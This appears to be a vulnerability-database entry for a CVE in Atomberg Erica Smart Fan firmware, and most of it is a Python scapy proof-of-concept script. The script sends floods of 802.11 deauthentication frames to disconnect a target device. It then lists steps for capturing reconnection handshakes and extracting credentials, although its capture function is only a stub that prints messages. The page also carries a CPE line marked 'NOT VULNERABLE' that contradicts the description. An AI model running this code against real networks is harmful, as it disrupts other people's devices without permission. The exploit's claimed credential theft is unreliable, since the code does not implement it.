An issue in Atomberg Atomberg Erica Smart Fan Firmware Version: V1.0.36 allows an attacker to obtain sensitive information and escalate privileges via a crafted deauth frame
cpe:2.3:h:atomberg:erica_smart_fan:-:*:*:*:*:*:*:* - NOT VULNERABLE
Atomberg Erica Smart Fan Firmware V1.0.36及之前版本
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-69822 PoC - Atomberg Erica Smart Fan Deauth Attack
Note: This code is for educational and security research purposes only.
Unauthorized use against systems you don't own or have permission to test is illegal.
"""
from scapy.all import RadioTap, Dot11, Dot11Deauth, sendp
import sys
import time
def create_deauth_packet(target_mac, ap_mac, reason_code=7):
"""
Create a deauthentication frame
target_mac: MAC address of the target device
ap_mac: MAC address of the access point
reason_code: 7 = Class 3 frame received from non-associated station
"""
# 802.11 RadioTap header
radio = RadioTap()
# 802.11 Deauth frame
# Type: Management (2), Subtype: Deauth (12 = 0x0C)
dot11 = Dot11(
type=2, # Management frame
subtype=12, # Deauth
addr1=target_mac, # Destination (target device)
addr2=ap_mac, # Source (AP)
addr3=ap_mac # BSSID
)
# Deauth reason code
deauth = Dot11Deauth(reason=reason_code)
# Construct the complete packet
packet = radio / dot11 / deauth
return packet
def send_deauth_attack(target_mac, ap_mac, count=100, interval=0.1):
"""
Send deauthentication frames to disconnect target device
"""
print(f"[*] Starting deauth attack on {target_mac}")
print(f"[*] Target AP: {ap_mac}")
print(f"[*] Sending {count} deauth frames...")
packet = create_deauth_packet(target_mac, ap_mac)
try:
sendp(packet, count=count, inter=interval, verbose=1)
print("[+] Deauth attack completed")
print("[!] Target device should be disconnected from the network")
except Exception as e:
print(f"[-] Error: {e}")
print("[!] Make sure you're running as root and have scapy installed")
def capture_reauth_info(interface):
"""
Monitor for reauthentication frames to capture sensitive info
This would require monitor mode on the wireless interface
"""
print(f"[*] Setting interface {interface} to monitor mode...")
print("[*] Waiting for target device reconnection...")
print("[*] Capturing authentication handshake...")
# Note: Full implementation would use scapy sniff() function
# to capture and analyze reauth frames for credential extraction
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-69822 PoC - Atomberg Erica Smart Fan Vulnerability")
print("=" * 60)
# Example configuration (replace with actual target values)
TARGET_MAC = "AA:BB:CC:DD:EE:FF" # Smart fan MAC address
AP_MAC = "00:11:22:33:44:55" # Access point MAC
# Send deauth packets
send_deauth_attack(TARGET_MAC, AP_MAC, count=100)
print("\n[*] Next steps for exploitation:")
print("1. Monitor for device reconnection attempts")
print("2. Capture authentication frames during reconnection")
print("3. Extract sensitive information from captured frames")
print("4. Use extracted credentials for privilege escalation")
print("\n[!] Disclaimer: Use only on systems you have permission to test")